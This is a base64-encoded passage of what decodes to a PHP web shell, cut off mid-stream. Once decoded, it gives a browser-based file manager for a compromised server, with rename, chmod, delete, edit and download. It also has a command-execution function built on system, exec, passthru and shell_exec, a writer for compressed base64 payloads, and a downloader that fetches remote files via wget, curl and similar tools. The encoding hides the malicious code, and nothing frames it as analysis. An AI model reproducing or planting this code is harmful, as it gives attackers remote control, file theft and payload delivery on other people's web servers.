LiRwd2QuIicgLz48dHI+PHRkPnZpZXcgZmlsZS9mb2xkZXI8L3RkPjxjZW50ZXI+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj0ndGhpcy5mb2N1cygpOycgaWQ9J2dvdG8nIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3ZpZXcnIHN0eWxlPSd3aWR0aDo0MDBweDsnIHZhbHVlPSciLiRwd2QuIicgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndmlldyAhJyBuYW1lPSdzdWJtaXRjbWQnIHN0eWxlPSd3aWR0aDo4MHB4OycgLz48L3RkPjwvY2VudGVyPjwvdHI+PC9mb3JtPjwvdGFibGU+PHRhYmxlIGNsYXNzPSdleHBsb3JlJz4gPHRyPjx0aD5uYW1lPC90aD48dGggc3R5bGU9J3dpZHRoOjgwcHg7Jz5zaXplPC90aD48dGggc3R5bGU9J3dpZHRoOjIxMHB4Oyc+b3duZXI6Z3JvdXA8L3RoPjx0aCBzdHlsZT0nd2lkdGg6ODBweDsnPnBlcm1zPC90aD48dGggc3R5bGU9J3dpZHRoOjExMHB4Oyc+bW9kaWZpZWQ8L3RoPjx0aCBzdHlsZT0nd2lkdGg6MTkwcHg7Jz5hY3Rpb25zPC90aD48L3RyPiAiOw0KaWYoJHRyZWUgPiAyKSANCmZvcigkaT0wOyRpPCR0cmVlLTI7JGkrKykgJHBhcmVudCAuPSAkcGF0aFskaV0uRElSRUNUT1JZX1NFUEFSQVRPUjsNCmVsc2UgJHBhcmVudCA9ICRwd2Q7DQpmb3JlYWNoKCRkbmFtZSBhcyAkZm9sZGVyKXsNCmlmKCRmb2xkZXIgPT0gIi4iKSB7DQppZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOyRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPSdnYXlhJz4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7JG93bmVyID0gJHVzZXI7fQ0KJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHB3ZC4iXCI+JGZvbGRlcjwvYT48L3RkPjx0ZD4tPC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPg0KPHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHB3ZCkuIjwvY2VudGVyPjwvdGQ+DQo8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkcHdkKSkuIjwvdGQ+PHRkPjxzcGFuIGlkPVwidGl0aWsxXCI+DQo8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwd2QuIm5ld2ZpbGUucGhwXCI+bmV3ZmlsZTwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsxJywndGl0aWsxX2Zvcm0nKTtcIj5uZXdmb2xkZXI8L2E+DQo8L3NwYW4+PGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsxX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MTQwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibWtkaXJcIiB2YWx1ZT1cImFfbmV3X2ZvbGRlclwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJyZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHb1wiIC8+IA0KPC9mb3JtPjwvdGQ+PC90cj4gIjt9IA0KZWxzZWlmKCRmb2xkZXIgPT0gIi4uIil7IA0KaWYoISR3aW4gJiYgJHBvc2l4KQ0KeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOw0KJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPg0KPGEgaHJlZj1cIj95PSIuJHBhcmVudC4iXCI+ICAkZm9sZGVyPC9hPjwvdGQ+PHRkPi08L3RkPg0KPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+DQo8dGQ+PGNlbnRlcj4iLmdldF9wZXJtcygkcGFyZW50KS4iPC9jZW50ZXI+PC90ZD4gPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJHBhcmVudCkpLiI8L3RkPg0KPHRkPjxzcGFuIGlkPVwidGl0aWsyXCI+PGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9Ii4kcGFyZW50LiJuZXdmaWxlLnBocFwiPm5ld2ZpbGU8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMicsJ3RpdGlrMl9mb3JtJyk7XCI+bmV3Zm9sZGVyPC9hPjwvc3Bhbj4gDQo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgaWQ9XCJ0aXRpazJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHN0eWxlPVwid2lkdGg6MzVweDtcIiB2YWx1ZT1cIkdvXCIgLz4gDQo8L2Zvcm0+PC90ZD48L3RyPiI7fWVsc2V7aWYoISR3aW4gJiYgJHBvc2l4KXsgDQokbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7IA0KJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsgDQokb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7ICRvd25lciA9ICR1c2VyOyB9DQokYnVmZiAuPSAiPHRyPjx0ZD48YSBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmtcIiBocmVmPVwiP3k9Ii4kcHdkLiRmb2xkZXIuRElSRUNUT1JZX1NFUEFSQVRPUi4iXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFCR2RCVFVFQUFMR1BDL3hoQlFBQUFBbHdTRmx6QUFBT3dnQUFEc0lCRlNoS2dBQUFBQnAwUlZoMFUyOW1kSGRoY21VQVVHRnBiblF1VGtWVUlIWXpMalV1TVRBdzlIS2hBQUFDa1VsRVFWUTRUOFdUMlV2VVVSekZ6Mk5SVDVwYWI5WkRZWk5NTGpOcTZyZzFGcWhsNWN3OHFBKzJrSm1CZ3hLVWhWcFc0eTZGWmJsa2FSUk9wa1FMSVRLRzFFUmhDNUpNdWFWbXp1UVdCRDNlMjduTjBEL1FRei80OFAxKzd6bm5lKy9MRC9qdm4xNFh0VVlYcVUrTzBrZWJZMk5pTGZGeEJrdWlJY21TbkpSaU1lNU10ZXhLM1cwMnBoak5TWW5KWmtOOGdpa21lb2VKR1JNelJyMU92eFpiUXpUQlpDQlVFK29KRDR2d2NKRW5OaWJPWTRoTDhIQ1JKekVoNlUvUE16YzFkL2oyQ1BjMlRhaWJtU0ZOaUdZVDdoVDduYnlVNTc5eTRkQTZXWFVzUU5hY0NKUjFSWUd5b1RoSU5wWnM4TEZlMWx1RC9taTIvQUJaZWRCZjJ2TDhmblNWK0pkaG9oWlBKK3NndjE2SDlOeUdYT3lHWEg0QXVkTExldGZMU2g4clo2VXBqL0pPTVROUkF3ZkdhOUEzV2V0YjBPbGJRUFBTZmZaZFhwYlovMTFBajFxZ011UFZlSVl4RzdyR2JaQXpUWkR6SFpEZmVlT2luZHhqZjVNM3RrTXVNTFRFc3dWcXlqTnpsZUVxU0daNzRLckVaVmNGbjFRUE1jZk43ZzRJUGxQTU4wTjhhL0l5Ujl4dGhKcnlURFZBdU01QnVzNmpCYVBsS0I4NXhXMFhJYVliK2J4cmtMTlhJTDVVUXhKVnhSUmZPTTBMWm5tejhpaXZ5b3lXd1lhUlVoUzhMWUw0V0FyeHVSSmlvb3ExQXVMVEdSOW5PWmQ1ejVRMlJvL3lxc3pJYVZneGJFWG15OE9RYndvaDNwZEF2ck5DdkQ0S01Yd2NjcmlBVlZGSVBSL2lRekdoUjNsZk1NT3NDWTRjaFBWYjhKUEl3VnpJNXptUUEyYUkvDQppek83QWV6T1ZOelpFTU01VkduUjNuSkwwY3VJbkVySGNIMkRIVGIwK0RzemNTcmgxbHdQamI3c01ENWhLajVrUWxPcGZYUlkwK0hzenNEUFowWjJJamNNS3l1VHNYbTVqUm9iK3lCdG5VZnRHMEhTQmEwN1FxVHQ3YnU5Mm90ZTZGdFRvZVdtUzFIZEZqMXp6L3piOVpxbWxaODY2WTZBQUFBQUVsRlRrU3VRbUNDJyAvPiAgWyAkZm9sZGVyIF08L2E+IA0KPGZvcm0gYWN0aW9uPVwiP3k9JHB3ZFwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgdmFsdWU9XCJyZW5hbWVcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4NCjwvZm9ybT4gPC90ZD48dGQ+RElSPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD48dGQ+PGNlbnRlcj4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTMnKTtcIj4iLmdldF9wZXJtcygkcHdkLiRmb2xkZXIpLiI8L2E+DQo8Zm9ybSBhY3Rpb249XCI/eT0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTNcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3dmFsdWVcIiB2YWx1ZT1cIiIuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRwd2QuJGZvbGRlcikpLCAtNCkuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZF9mb2xkZXJcIiB2YWx1ZT1cImNobW9kXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgDQpvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiIC8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZvbGRlcikpLiI8L3RkPjx0ZD48YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nKTtcIj5yZW5hbWU8L2E+fCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZmRlbGV0ZT0iLiRwd2QuJGZvbGRlci4iXCI+ZGVsZXRlPC9hPg0KPC90ZD4NCjwvdHI+Ijt9fWZvcmVhY2goJGZuYW1lIGFzICRmaWxlKXsgDQokZnVsbCA9ICRwd2QuJGZpbGU7IA0KaWYoISR3aW4gJiYgJHBvc2l4KXskbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZSkpOyAkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGUpKTsgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPjxhIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmtcIiBocmVmPVwiP3k9JHB3ZCZhbXA7dmlldz0kZnVsbFwiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBUm5RVTFCQUFDeGp3djhZUVVBQUFBSmNFaFpjd0FBRHNNQUFBN0RBY2R2cUdRQUFBQWFkRVZZZEZOdlpuUjNZWEpsQUZCaGFXNTBMazVGVkNCMk15NDFMakV3TVBSeW9RQUFBWFZKUkVGVU9FK05ranRQd2xBWWh2MERMRVpKU0RRYXdRQ1RjWUQvWVdJa3pxeDBjSFQxRDdDNG5NUkZTZE9XaTR1em05RkZYY1JCSTNLeFFHbExvWUNBSUx5ZWtoaVJ3NlVuZVpLbWViOG43OWVlcGFXLzQzZTVYRkdmejBjc3ZGNHY4WGkyeWZyR0psbGVjUklhMnhuTE1vK09jRGlzNmtZTnVsRWZVZEVNWkQvS3VIMUlRN3k2UmlRUzBlWkpBb2xraWc2VS9wSEp5MGkvdk9QbS9nbmxpa1lsM0V4Sk1KbTZoRnhXR1FwRmhVcXlLSlFxeU5GR0hNZnB0TW51NUE1VWtCclZacWtpTHl0NHpjckk1SXQ0eThuWTJ3OVprclZ4U2RCYW9Wb3paNkxxdFZHRHU4ZG5IQjJmZ0E0SEdZSFphR0UyVFJqMUJvcUtobE55eGdyaWlTUmFuKzJGbU0wV1lyekFDaVFxNkhTN0MybDN1aERqaVNrQyt2S3IxN09GTkUwZ1NuSDArOSsyc0xMTVJ4UkVDWVBCd0JhQ09FWEFDeUtHdzZFdGVFRmlHZ1RPWXp6c25ndWFwU3NFeHUrQjR5QjBxSllVbGY1cmN5NVd4c3JTWWNma2RmYXZPcDNSTGJlYnpNUEswRUgvNy9BUHY1OWo3WCtnSk5JQUFBQUFTVVZPUks1Q1lJSSUzRCcgLz4gICRmaWxlPC9hPiANCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtJyk7XCIgLz4NCjwvZm9ybT48L3RkPjx0ZD4iLnVrdXJhbigkZnVsbCkuIjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+PHRkPjxjZW50ZXI+DQo8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTInKTtcIj4iLmdldF9wZXJtcygkZnVsbCkuIjwvYT4NCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTJcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld3ZhbHVlXCIgdmFsdWU9XCIiLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZnVsbCkpLCAtNCkuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZFwiIHZhbHVlPVwiY2htb2RcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2Zvcm0yJyk7XCIgLz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+IA0KPHRkPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+ZWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiPnJlbmFtZTwvYT58IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkZWxldGU9JGZ1bGxcIj5kZWxldGU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsPSRmdWxsXCI+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbGd6aXA9JGZ1bGxcIj5nejwvYT4pDQo8L3RkPjwvdHI+Ijt9IA0KJGJ1ZmYgLj0gIjwvdGFibGU+IjsgcmV0dXJuICRidWZmO30NCmZ1bmN0aW9uIHVrdXJhbigkZmlsZSl7aWYoJHNpemUgPSBAZmlsZXNpemUoJGZpbGUpKXtpZigkc2l6ZSA8PSAxMDI0KSByZXR1cm4gJHNpemU7ZWxzZXtpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQsMik7Ow0KcmV0dXJuICIkc2l6ZSBrYiI7fSBlbHNlIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgLyAxMDI0LDIpO3JldHVybiAiJHNpemUgbWIiO319fQ0KZWxzZSByZXR1cm4gIj8/PyI7fSBmdW5jdGlvbiBleGUoJGNtZCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkge0BvYl9zdGFydCgpO0BzeXN0ZW0oJGNtZCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpOw0KcmV0dXJuICRidWZmO30gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7QGV4ZWMoJGNtZCwkcmVzdWx0cyk7JGJ1ZmYgPSAiIjtmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpeyRidWZmIC49ICRyZXN1bHQ7fSByZXR1cm4gJGJ1ZmY7fSANCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpe0BvYl9zdGFydCgpO0BwYXNzdGhydSgkY21kKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7cmV0dXJuICRidWZmO30gDQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpeyRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7cmV0dXJuICRidWZmO319IGZ1bmN0aW9uIHR1bGlzKCRmaWxlLCR0ZXh0KXskdGV4dHogPSBnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdGV4dCkpO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKSB7QGZwdXRzKCRmaWxleiwkdGV4dHopO0BmY2xvc2UoJGZpbGUpO319IA0KZnVuY3Rpb24gYW1iaWwoJGxpbmssJGZpbGUpIHtpZigkZnAgPSBAZm9wZW4oJGxpbmssInIiKSl7d2hpbGUoIWZlb2YoJGZwKSl7JGNvbnQuPSBAZnJlYWQoJGZwLDEwMjQpO31AZmNsb3NlKCRmcCk7JGZwMiA9IEBmb3BlbigkZmlsZSwidyIpO0Bmd3JpdGUoJGZwMiwkY29udCk7QGZjbG9zZSgkZnAyKTt9IH0gDQpmdW5jdGlvbiB3aGljaCgkcHIpeyRwYXRoID0gZXhlKCJ3aGljaCAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHtyZXR1cm4gdHJpbSgkcGF0aCk7fQ0KZWxzZSB7cmV0dXJuIHRyaW0oJHByKTt9fQ0KZnVuY3Rpb24gZG93bmxvYWQoJGNtZCwkdXJsKXskbmFtYWZpbGUgPSBiYXNlbmFtZSgkdXJsKTsNCnN3aXRjaCgkY21kKXtjYXNlICd3d2dldCc6IGV4ZSh3aGljaCgnd2dldCcpLiIgIi4kdXJsLiIgLU8gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dseW54JzogZXhlKHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmcmVhZCcgOiBhbWJpbCgkd3VybCwkbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmZXRjaCcgOiBleGUod2hpY2goJ2ZldGNoJykuIiAtbyAiLiRuYW1hZmlsZS4iIC1wICIuJHVybCk7YnJlYWs7Y2FzZSAnd2xpbmtzJyA6IGV4ZSh3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2dldCcgOiBleGUod2hpY2goJ0dFVCcpLiIgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2N1cmwnIDogZXhlKHdoaWNoKCdjdXJsJykuIiAiLiR1cmwuIiAtbyAiLiRuYW1hZmlsZSk7YnJlYWs7ZGVmYXVsdDogYnJlYWs7fQ0KcmV0dXJuICRuYW1hZmlsZTt9ZnVuY3Rpb24gZ2V0X3Blcm1zKCRmaWxlKSB7aWYoJG1vZGU9QGZpbGVwZXJtcygkZmlsZSkpeyRwZXJtcz0nJzskcGVybXMgLj0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCnJldHVybiAkcGVybXM7fWVsc2UgcmV0dXJuICI/Pz8/Pz8/Pz8/Ijt9ZnVuY3Rpb24gY2xlYXJzcGFjZSgkdGV4dCl7cmV0dXJuIHN0cl9yZXBsYWNlKCIgIiwiXyIsJHRleHQpO30NCiR0dW5pc2lhID0gJ2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvL2dBN1ExSkZRVlJQVWpvZ1oyUXRhbkJsWnlCMk1TNHdJQ2gxYzJsdVp5QkpTa2NnU2xCRlJ5QjJOaklwTENCeGRXRnNhWFI1SUQwZ09UQUsvOXNBUXdBREFnSURBZ0lEQXdNREJBTURCQVVJQlFVRUJBVUtCd2NHQ0F3S0RBd0xDZ3NMRFE0U0VBME9FUTRMQ3hBV0VCRVRGQlVWRlF3UEZ4Z1dGQmdTRkJVVS85c0FRd0VEQkFRRkJBVUpCUVVKRkEwTERSUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVLzhBQUVRZ0E5UUlJQXdFaUFBSVJBUU1SQWYvRUFCOEFBQUVGQVFFQkFRRUJBQUFBQUFBQUFBQUJBZ01FQlFZSENBa0tDLy9FQUxVUUFBSUJBd01DQkFNRkJRUUVBQUFCZlFFQ0F3QUVFUVVTSVRGQkJoTlJZUWNpY1JReWdaR2hDQ05Dc2NFVlV0SHdKRE5pY29JSkNoWVhHQmthSlNZbktDa3F